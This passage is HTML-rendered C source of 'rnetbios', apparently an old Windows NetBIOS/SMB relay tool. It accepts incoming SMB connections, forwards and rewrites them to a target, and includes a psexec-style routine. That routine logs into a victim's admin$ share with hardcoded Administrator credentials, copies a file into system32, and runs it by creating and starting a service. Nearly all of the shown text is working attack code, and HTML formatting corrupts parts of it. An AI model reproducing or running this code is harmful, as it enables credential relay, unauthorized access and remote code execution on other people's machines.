socketconnects;<BR>&nbsp;int socketconnectd;<BR>&nbsp; <BR>&nbsp;// struct sockaddr_in \
iprnetbios;<BR>//&nbsp; struct sockaddr_in ippsexec;<BR>&nbsp;&nbsp;&nbsp; SOCKET \
ipclient;<BR>&nbsp;&nbsp;&nbsp; SOCKET iprnetbios;<BR>&nbsp;&nbsp;&nbsp; SOCKET \
ippsexec;<BR>&nbsp;&nbsp;&nbsp; SOCKET ipdest;<BR>//&nbsp;BOOL&nbsp;&nbsp; rself;<BR>//&nbsp; \
SOCKET iprnetbios;<BR> } RSERVER;<BR>
&nbsp;<BR>
typedef struct rnet{<BR>
<BR>&nbsp;int&nbsp;&nbsp; fd;<BR>&nbsp;int&nbsp;&nbsp; fd2;<BR>&nbsp;&nbsp;&nbsp; \
int&nbsp;&nbsp; fd3;<BR>&nbsp;int&nbsp;&nbsp; fd4;<BR>&nbsp;int&nbsp;&nbsp; \
long72;<BR>&nbsp;&nbsp; &nbsp;int&nbsp;&nbsp; *long72add;<BR> &nbsp;&nbsp;&nbsp; \
int&nbsp;&nbsp; long73ok;<BR>&nbsp;&nbsp; &nbsp;int&nbsp;&nbsp; \
*long73okadd;<BR>&nbsp;int&nbsp;&nbsp; recvbytes;<BR> &nbsp;char *buff;<BR>&nbsp;char \
*buff72;<BR>&nbsp;char *buff73;<BR>&nbsp;char *buff73ok;<BR>&nbsp;char \
*filename;<BR>&nbsp;&nbsp;&nbsp; char *namereq;<BR>&nbsp;&nbsp;&nbsp; char \
*namereturn;<BR>&nbsp;char *ipbuff;<BR>&nbsp;char *namebuff;<BR>&nbsp;&nbsp;&nbsp; char \
*buffgetname;<BR>&nbsp;&nbsp;&nbsp; char *buff0x82;<BR> <BR>&nbsp;BOOL loginok;<BR>
<BR>} RNET;<BR>
typedef struct psinfo{<BR>&nbsp;&nbsp; <BR>&nbsp;char *ip;<BR>&nbsp;char *filename;<BR>
}PSINFO;<BR>
&nbsp;<BR>
<BR>void&nbsp;&nbsp; psexec(PSINFO *psinfo);<BR>void&nbsp;&nbsp; rnetbios(RSERVER \
*rinfo);<BR>void&nbsp;&nbsp; rnetbiosthread(void *rinfo );<BR>void&nbsp;&nbsp; nameuncode(char \
*namebuff,char *ipbuff);<BR>void&nbsp;&nbsp; changepass(char *buff,char \
*buff73);<BR>int&nbsp;&nbsp;&nbsp; waitfd4(RNET *rnetinfo,RSERVER *rinfoadd);<BR> \
BOOL&nbsp;&nbsp; rnetchangepacket(RNET *rnetinfo);<BR>BOOL&nbsp;&nbsp; rnetchangepacket2(RNET \
*rnetinfo);<BR> <BR>int&nbsp;&nbsp;&nbsp; newsend(int fd,char *buff,int size,int flag);<BR>
int main(int argc, char **argv)<BR>{<BR>
&nbsp; RSERVER&nbsp; rinfo[THREADNUM];<BR>
&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fd2;<BR>&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
fd3[BINDNUM];<BR>&nbsp; struct&nbsp;&nbsp; sockaddr_in s_in1,s_in2,s_in3,s_in4;<BR>&nbsp; \
struct&nbsp;&nbsp; hostent *he;<BR>&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i;&nbsp; \
//,randnum;&nbsp;&nbsp; <BR>&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; result;<BR>&nbsp; \
BOOL&nbsp;&nbsp;&nbsp;&nbsp; loginhimself;<BR>&nbsp; SOCKET&nbsp;&nbsp; d_ip,bindip;<BR>&nbsp; \
<BR>&nbsp; WSADATA&nbsp; wsaData;<BR>&nbsp; DWORD&nbsp;&nbsp;&nbsp; ThreadID; <BR>&nbsp; \
<BR>&nbsp;&nbsp;&nbsp; printf("\n rnetbios ver 1.1.");<BR>&nbsp;printf("\n copy by yuange \
2000.4.7.");<BR>&nbsp;printf("\n rcopy 2002.10.14.");<BR>&nbsp;printf("\n welcome to my \
homepage <A href="http://yuange.yeah.net/">http://yuange.yeah.net</A>.");<BR>&nbsp;printf("\n \
usage: %s [rnebios to ip] [rnetbios bind ip] [rnetbios bind ip2] [rnetbios client ip][new can \
netbios ip]",argv[0]);<BR>&nbsp;printf("\n example:%s 0 192.168.5.9 192.168.6.9 192.168.  \
7.9",argv[0]);&nbsp; <BR>//&nbsp;printf("\n when somebody <A \
href="file://yourip,your/">file:\\yourip,your</A> host will rnetbios to the [ip] \n or his \
source ip if you haven't specified [ip] address");<BR>//&nbsp;printf("\n After he login ,you \
can <A href="file://127.0.0.1/">file:\\127.0.0.1</A> to the [ip] .\n ");<BR> \
&nbsp;//&nbsp;&nbsp; psexec(1);<BR> &nbsp;&nbsp; &nbsp;if(argc&lt;5){<BR>&nbsp;&nbsp;printf("\n \
error!\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;printf("\n usage: %s [rnebios to ip] [rnetbios \
bind ip] [rnetbios bind ip2] [rnetbios client ip][new can netbios \
ip]",argv[0]);<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
printf("\n\n");<BR>&nbsp;&nbsp;exit(1);<BR>&nbsp;&nbsp;&nbsp; }<BR> <BR>&nbsp;&nbsp;&nbsp; \
result= WSAStartup(MAKEWORD(1, 1), &amp;wsaData);<BR>&nbsp;&nbsp;&nbsp; if (result != 0) \
{<BR>&nbsp;&nbsp;fprintf(stderr, "Your computer was not connected "<BR>&nbsp;&nbsp;&nbsp;"to \
the Internet at the time that "<BR>&nbsp;&nbsp;&nbsp;"this program was launched, or you \
"<BR>&nbsp;&nbsp;&nbsp;"do not have a 32-bit "<BR>&nbsp;&nbsp;&nbsp;"connection to the \
Internet.");<BR>&nbsp;&nbsp;exit(2);<BR>&nbsp;}<BR> /*<BR>&nbsp; \
for(i=0,j=0;i&lt;16;++i){<BR>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; name=servername[i] \
;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(name==0) \
j=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(j==1) \
name=0x20;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; namebuff[2*i+5]= ( (name &gt;&gt; 4) &amp; \
0x000F ) + 'A';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; namebuff[2*i+6]= (name &amp; 0x000F) + \
'A';<BR>&nbsp;}<BR>&nbsp;&nbsp;&nbsp; namebuff[37]=0; <BR>*/<BR> &nbsp;&nbsp;&nbsp; \
d_ip=-1;<BR>&nbsp;&nbsp;&nbsp; d_ip = inet_addr(argv[1]);<BR>&nbsp;&nbsp;&nbsp; \
if(d_ip==-1){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; he = \
gethostbyname(argv[1]); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!he)&nbsp; printf("\n Can't \
get the ip of %s !\n",argv[1]); \
//server);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
else&nbsp;&nbsp;&nbsp;&nbsp; memcpy(&amp;d_ip, he-&gt;h_addr, sizeof(d_ip));<BR>&nbsp;}&nbsp; \
<BR>&nbsp;<BR>&nbsp;if(d_ip==0) \
d_ip=-1;<BR>&nbsp;if(d_ip==-1){<BR>&nbsp;&nbsp;loginhimself=1;<BR>&nbsp;&nbsp;printf("\n \
rnetbios to the netbios ip.");<BR>&nbsp;}<BR>&nbsp;else&nbsp;&nbsp; \
{<BR>&nbsp;&nbsp;loginhimself=0;<BR>&nbsp;&nbsp;printf("\n rnetbios to %s",argv[1]); \
//server);<BR>&nbsp;}<BR>&nbsp;&nbsp;s_in1.sin_addr.s_addr=d_ip;<BR> &nbsp;&nbsp;&nbsp; fd2 = \
socket(AF_INET, SOCK_STREAM,0);<BR>&nbsp;&nbsp;&nbsp; s_in2.sin_family = \
AF_INET;<BR>&nbsp;&nbsp;&nbsp; s_in2.sin_port = htons(SERVERPORT);<BR>&nbsp;&nbsp;&nbsp; \
s_in2.sin_addr.s_addr = 0;<BR>&nbsp;&nbsp;&nbsp; s_in2.sin_addr.s_addr = \
inet_addr(argv[2]);<BR>&nbsp;if(s_in2.sin_addr.s_addr==0||s_in2.sin_addr.s_addr==-1){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
printf("\n\n argv[2] ip error. use the ip: \
192.168.0.2");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s_in2.sin_addr.s_addr = \
inet_addr("192.168.0.2");<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;i=bind(fd2,&amp;s_in2, \
sizeof(s_in2));<BR>&nbsp;&nbsp;&nbsp; if(i&lt;0){<BR>&nbsp;&nbsp; \
i=WSAGetLastError();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n bind error \
0x%x",i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);<BR>&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;<BR>&nbsp;i=listen(fd2,100); <BR> &nbsp;&nbsp;&nbsp; if(i&lt;0){<BR>&nbsp;&nbsp; \
i=WSAGetLastError();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n bind error \
0x%x",i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1);<BR>&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; s_in3.sin_family = AF_INET;<BR>&nbsp;&nbsp;&nbsp; \
s_in3.sin_port = htons(SERVERPORT);<BR>&nbsp;&nbsp;&nbsp; s_in3.sin_addr.s_addr = \
0;<BR>&nbsp;&nbsp;&nbsp; s_in3.sin_addr.s_addr = \
inet_addr(argv[3]);<BR>&nbsp;if(s_in3.sin_addr.s_addr==0||s_in3.sin_addr.s_addr==-1){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
printf("\n\n argv[3] ip error. use the ip: \
192.168.0.3");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s_in3.sin_addr.s_addr = \
inet_addr("192.168.0.3");<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; \
<BR>&nbsp;bindip=s_in3.sin_addr.s_addr;<BR>&nbsp;for(i=0;i&lt;BINDNUM;++i){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
fd3[i] = socket(AF_INET, SOCK_STREAM,0);<BR>&nbsp;&nbsp;&nbsp; bind(fd3[i],&amp;s_in3, \
sizeof(s_in3));<BR>&nbsp;&nbsp;&nbsp; listen(fd3[i],1  0); \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
s_in3.sin_addr.s_addr=ntohl(htonl(s_in3.sin_addr.s_addr)+1);<BR>&nbsp;&nbsp;&nbsp; \
}<BR>&nbsp;<BR>&nbsp;s_in4.sin_addr.s_addr = 0;<BR>&nbsp;&nbsp;&nbsp; s_in4.sin_addr.s_addr = \
inet_addr(argv[4]);<BR>&nbsp;if(s_in4.sin_addr.s_addr==0||s_in4.sin_addr.s_addr==-1){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
printf("\n\n argv[4] ip error. use the ip: \
192.168.0.4");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s_in4.sin_addr.s_addr = \
inet_addr("192.168.0.4");<BR>&nbsp;&nbsp;&nbsp; }<BR> <BR>&nbsp;&nbsp;&nbsp; \
for(i=0;i&lt;THREADNUM;++i){<BR>&nbsp;<BR>&nbsp;&nbsp;rinfo[i].socketclient=fd2;<BR>&nbsp;&nbsp; \
rinfo[i].socketserver=fd3[i];<BR>&nbsp;&nbsp;rinfo[i].ipclient=s_in2.sin_addr.s_addr;<BR>&nbsp;& \
nbsp;rinfo[i].iprnetbios=ntohl(htonl(bindip)+i);<BR>&nbsp;&nbsp;rinfo[i].ippsexec=s_in4.sin_addr.s_addr;<BR>&nbsp;&nbsp;rinfo[i].ipdest=d_ip;<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
CreateThread((LPSECURITY_ATTRIBUTES)NULL,(DWORD)0,(LPTHREAD_START_ROUTINE)rnetbiosthread,(LPVOID)&amp;rinfo[i],(DWORD)0,(LPDWORD)&amp;ThreadID);&nbsp; \
<BR> <BR>&nbsp;}&nbsp;<BR>
&nbsp;Sleep(0x7fffffff);<BR>
&nbsp; //&nbsp; closesocket(fd1);<BR>&nbsp;&nbsp;&nbsp; \
closesocket(fd2);<BR>&nbsp;//&nbsp;&nbsp; closesocket(fd3);<BR>&nbsp;//&nbsp;&nbsp; \
closesocket(fd4);<BR>&nbsp;&nbsp;&nbsp; WSACleanup( );<BR>&nbsp;&nbsp;&nbsp; \
return(0);&nbsp;<BR>}<BR> &nbsp;<BR>&nbsp;void psexec(PSINFO *info) <BR>&nbsp;{<BR>&nbsp; \
/*<BR>&nbsp;&nbsp; SECURITY_ATTRIBUTES sa;<BR>&nbsp;&nbsp; PROCESS_INFORMATION \
ProcessInformation;<BR>&nbsp;&nbsp; HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;&nbsp;&nbsp; <BR>&nbsp;&nbsp; STARTUPINFO \
siinfo;<BR>&nbsp;&nbsp; <BR>*/<BR>&nbsp;&nbsp; PSINFO&nbsp; psinfo=*info;<BR> &nbsp;&nbsp; \
NETRESOURCE lpNetResource;<BR>&nbsp;&nbsp; int&nbsp; fd1,i;<BR>&nbsp;//&nbsp; char \
*ip2;<BR>&nbsp;&nbsp; char cmdstr[0x100];<BR>&nbsp;&nbsp; char res[0x100];<BR>&nbsp;&nbsp; char \
filename[0x100];<BR>&nbsp;&nbsp; char tempfilename[0x100];<BR>&nbsp;&nbsp; char \
ser[0x100];<BR>//&nbsp;&nbsp; char *name="cc.exe";<BR>&nbsp;&nbsp; char \
*user="Administrator";<BR>&nbsp;&nbsp; char *pass="test";<BR>&nbsp;&nbsp; SC_HANDLE scm,svc; \
<BR> &nbsp;&nbsp; char *cmdstrformat="psexec.exe <A>\\\\%s</A> -u Administrator -p test -s \
cmd.exe";<BR>//&nbsp;&nbsp; char *cmdstrformat="<A>\\\\%s\\admin$</A> ";<BR> &nbsp;//&nbsp; \
fd1=*(int *)(ip);<BR>&nbsp;//&nbsp;&nbsp; ip2=*(int *)(ip+4)+8;<BR>&nbsp; // \
ip2="192.168.70.29";<BR>&nbsp;&nbsp; wsprintf(cmdstr,cmdstrformat,psinfo.ip);&nbsp; \
//"127.0.0.1");&nbsp;&nbsp; //<BR> &nbsp;&nbsp; \
GetTempPath(0x100,tempfilename);<BR>&nbsp;&nbsp; \
GetTempFileName(tempfilename,NULL,NULL,tempfilename);<BR>&nbsp;&nbsp; \
DeleteFile(tempfilename);<BR>&nbsp;&nbsp; \
for(i=strlen(tempfilename);i&gt;0;--i){<BR>&nbsp;&nbsp;&nbsp; \
if(tempfilename[i]=='\\')<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
strcpy(tempfilename,tempfilename+i+1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
break;<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp; }<BR>&nbsp; // system(cmdstr);<BR>&nbsp; // \
ExitThread(0);<BR> &nbsp;&nbsp; wsprintf(res,"<A>\\\\%s\\admin$",psinfo.ip</A>);&nbsp; \
<BR>&nbsp;&nbsp; wsprintf(filename,"<A>\\\\%s\\admin$\\system32\\%s",psinfo.ip,tempfilename</A>);&nbsp; \
<BR>&nbsp;&nbsp; wsprintf(ser,"<A>\\\\%s",psinfo.ip</A>);&nbsp; <BR> &nbsp; \
lpNetResource.dwScope=RESOURCE_CONNECTED;<BR>&nbsp; lpNetResource.dwType \
=RESOURCETYPE_DISK;<BR>&nbsp; lpNetResource.dwDisplayType=RESOURCEDISPLAYTYPE_SHARE;<BR>&nbsp; \
lpNetResource.dwUsage=RESOURCEUSAGE_CONNECTABLE;<BR>&nbsp; \
lpNetResource.lpLocalName=NULL;<BR>&nbsp; lpNetResource.lpRemoteName=res;<BR>&nbsp; \
lpNetResource.lpComment=NULL;<BR>&nbsp; lpNetResource.lpProvider=NULL;<BR> <BR>&nbsp; \
i=WNetAddConnection2A(&amp;lpNetResource,user,pass,CONNECT_UPDATE_PROFILE);<BR>&nbsp; \
scm=OpenSCManager(ser,NULL,SC_MANAGER_CREATE_SERVICE);<BR>&nbsp; printf("\n scm=0x%x err=0x%x \
ip=%s",scm,GetLastError(),psinfo.ip);<BR>&nbsp; \
svc=CreateService(scm,tempfilename,tempfilename,SERVICE_ALL_ACCESS, \
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,SERVICE_DEMAND_START,SERVICE_ERROR_IGNORE, \
tempfilename,NULL,NULL,NULL,NULL,NULL);<BR>&nbsp; if(svc==NULL)&nbsp; \
svc=OpenService(scm,tempfilename,SERVICE_ALL_ACCESS);<BR>&nbsp; printf("\n svc=0x%x \
err=0x%x",svc,GetLastError());<BR> &nbsp; i=CopyFile(psinfo.filename,filename,TRUE);<BR>&nbsp; \
printf("\n copy file error=0x%x ip=%s", GetLastError(),psinfo.ip);<BR> <BR>&nbsp; \
i=StartService(svc,0,NULL);<BR>&nbsp; printf("\n i=0x%x \
error=0x%x",i,GetLastError());<BR>&nbsp; i=DeleteService(svc);<BR>&nbsp; \
DeleteFile(filename);<BR> &nbsp;<BR>
<BR>&nbsp; // printf("\n cmdstr=%s\n",cmdstr);<BR>&nbsp;&nbsp; \
/*<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
sa.nLength=12;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
sa.lpSecurityDescriptor=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
sa.bInheritHandle=TRUE;<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
CreatePipe(&amp;hReadPipe1,&amp;hWritePipe1,&amp;sa,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
CreatePipe(&amp;hReadPipe2,&amp;hWritePipe2,&amp;sa,0);<BR> <BR>&nbsp;&nbsp;&nbsp; \
ZeroMemory(&amp;siinfo,sizeof(siinfo));<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; \
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<BR>&nbsp;&nbsp;&nbsp; \
siinfo.wShowWindow = SW_HIDE;<BR>&nbsp;&nbsp;&nbsp; siinfo.hStdInput = \
hReadPipe2;<BR>&nbsp;&nbsp;&nbsp; siinfo.hStdOutput=hWritePipe1;<BR>&nbsp;&nbsp;&nbsp; \
siinfo.hStdError =hWritePipe1;<BR>//&nbsp;CreateProcess(NULL,&amp;cmdstr,NULL,NULL,1,0,NULL,NULL \
,&amp;siinfo,&amp;ProcessInformation);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
<BR>&nbsp; */<BR>&nbsp; //&nbsp; system(cmdstr);<BR> <BR>&nbsp;//&nbsp; printf("\n psexec end. \
closesocket fd1=0x%x",fd1);<BR>&nbsp; <BR>&nbsp;&nbsp; CloseServiceHandle(scm);<BR>&nbsp;&nbsp; \
CloseServiceHandle(svc);<BR>&nbsp;//&nbsp; closesocket(fd1);<BR>&nbsp;//&nbsp; \
closesocket(fd2); <BR> &nbsp;&nbsp; \
i=WNetCancelConnection2A(res,CONNECT_UPDATE_PROFILE,TRUE);<BR>&nbsp;&nbsp; \
ExitThread(0);<BR>&nbsp;&nbsp; printf("\n Exitthread erro1 !");<BR>&nbsp;&nbsp; \
return;<BR>&nbsp;}<BR> <BR>void&nbsp; rnetbiosthread(RSERVER \
*rinfoadd)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; RSERVER \
rinfo;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i,fd1,fd2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct sockaddr_in s_in1,s_in2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SOCKET dip;<BR> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rinfo=*rinfoadd;<BR>&nbsp;&nbsp;&nbsp;&nbsp; // \
memcpy(&amp;rinfo,rinfoadd,sizeof(rinfo));<BR>&nbsp;&nbsp; dip=rinfo.ipdest;<BR>&nbsp;&nbsp; \
while(1)<BR>&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=sizeof(struct \
sockaddr);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
fd1=accept(rinfo.socketclient,&amp;s_in1,&amp;i);<BR>&nbsp;&nbsp; \
if(s_in1.sin_addr.s_addr!=rinfo.ipclient)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
{<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; if(rinfo.ipdest==-1) \
dip=s_in1.sin_addr.s_addr;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
fd2 = socket(AF_INET, \
SOCK_STREAM,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
s_in2.sin_family = AF_INET;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
s_in2.sin_port = htons(SERVERPORT);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
s_in2.sin_addr.s_addr = dip;<B  R>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n Connect \
%s",inet_ntoa(s_in2.sin_addr));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if(!connect(fd2, (struct sockaddr *)&amp;s_in2, sizeof(struct \
sockaddr_in)))<BR>&nbsp;&nbsp;&nbsp; {<BR> \
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
printf("\n Connect %s \
ok!",inet_ntoa(s_in2.sin_addr));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rinfo.socketconnects=fd1;<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
rinfo.socketconnectd=fd2;<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; \
rnetbios(&amp;rinfo);<BR> &nbsp;&nbsp;&nbsp;//&nbsp; printf("\n rnetbios return");<BR>
&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; else&nbsp; printf("\n Connect %s \
error!",inet_ntoa(s_in2.sin_addr));<BR>&nbsp;&nbsp;&nbsp; closesocket(fd2);<BR>&nbsp;&nbsp; \
}<BR>&nbsp;&nbsp; closesocket(fd1);<BR>&nbsp;&nbsp; }<BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp; \
ExitThread(1);<BR>&nbsp; <BR>}<BR> &nbsp;void&nbsp; rnetbios(RSERVER \
*rinfoadd)<BR>&nbsp;{<BR>&nbsp; <BR> &nbsp; RNET&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo;<BR>&nbsp; RSERVER&nbsp;&nbsp; rinfo=*rinfoadd;<BR>//&nbsp; PSINFO&nbsp; psinfo; \
<BR>&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; fd,fd2,fd3,fd4;<BR>&nbsp; struct&nbsp; sockaddr_in \
s_in1,s_in2,s_in4;<BR> <BR>&nbsp; char buff[BUFFSIZE+1];<BR>&nbsp; char \
buff72[BUFFSIZE+1];<BR>&nbsp; char buff73[BUFFSIZE+1];<BR> &nbsp; char \
buff73ok[BUFFSIZE+1];<BR>&nbsp; char filename[BUFFSIZE+1];<BR> &nbsp; char \
buff0x82[]={0x82,0,0,0};<BR>&nbsp; char namereq[]={0x81,0,0,0};<BR>&nbsp;// int&nbsp; \
long72=0;<BR>&nbsp;<BR>&nbsp; u_short&nbsp; name;<BR>&nbsp; char \
buffgetname[]={0x00,0x72,0x00,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,0x41,0x41,0x41,0x41,0x41,0x41<BR>&nbsp;&nbsp; \
,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,0x00,0x01};<BR>
 &nbsp; char namebuff[]={0x81,0,0,0x44,0x20,0x45,0x4f,0x45,0x42,0x45,0x4a,0x43,0x48,0x46,0x44,0x43,0x41,0x46,0x48,0x45,0x50,0x46<BR>&nbsp;&nbsp; \
,0x43,0x45,0x4d,0x45,0x45,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,00<BR>&nbsp;&nbsp; \
,0x20,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x43,0x41,0x43,0x41,0x43,0x41<BR>&nbsp;&nbsp; \
,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,00<BR>&nbsp;&nbsp; \
};<BR> &nbsp; char ipbuff[0x100];<BR>&nbsp; char \
namereturn[]={0x82,0,0,0,0,0};<BR>&nbsp;<BR>&nbsp; struct sockaddr addr2;<BR>&nbsp; int \
i,j,k,exitcode;<BR>&nbsp; //,k,l,ii;<BR>&nbsp;// int usernameaddress1;<BR>&nbsp;// int \
usernameaddress2;<BR>&nbsp;<BR>&nbsp; <BR>&nbsp;// int&nbsp; strflg1,strflg2;<BR> &nbsp; \
DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ThreadID;<BR>&nbsp; \
HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; threadhandle=0;<BR>&nbsp; <BR>&nbsp;// \
BOOL&nbsp;&nbsp;&nbsp;&nbsp; loginok;<BR> <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
s_in1.sin_addr.s_addr=rinfo.iprnetbios;<BR>&nbsp;&nbsp;wsprintf(ipbuff,"%s",inet_ntoa(s_in1.sin_addr));<BR>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameuncode(namebuff,ipbuff);<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;fd=fd2;<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
fd2=rinfo.socketconnects;<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
fd3=rinfo.socketconnectd;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fd4=0;<BR> \
&nbsp;&nbsp;rnetinfo.fd2=fd2;<BR>&nbsp;&nbsp;rnetinfo.fd3=fd3;<BR>&nbsp;&nbsp;rnetinfo.fd4=fd4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.buff=buff;<BR>&nbsp;&nbsp;rnetinfo.buff72=buff72;<BR>&nbsp;&nbsp;rnetinfo.buff73=buff73;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.buff73ok=buff73ok;<BR>&nbsp;&nbsp;rnetinfo.filename=filename;<BR> \
&nbsp;&nbsp;rnetinfo.buffgetname=buffgetname;<BR>&nbsp;&nbsp;rnetinfo.ipbuff=ipbuff;<BR>&nbsp;&nbsp;rnetinfo.namebuff=namebuff;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.buff0x82=buff0x82;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
rnetinfo.namereq=namereq;<BR>&nbsp;&nbsp;rnetinfo.long72add=&amp;rnetinfo.long72;<BR>&nbsp;&nbsp;rnetinfo.long72=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp; \
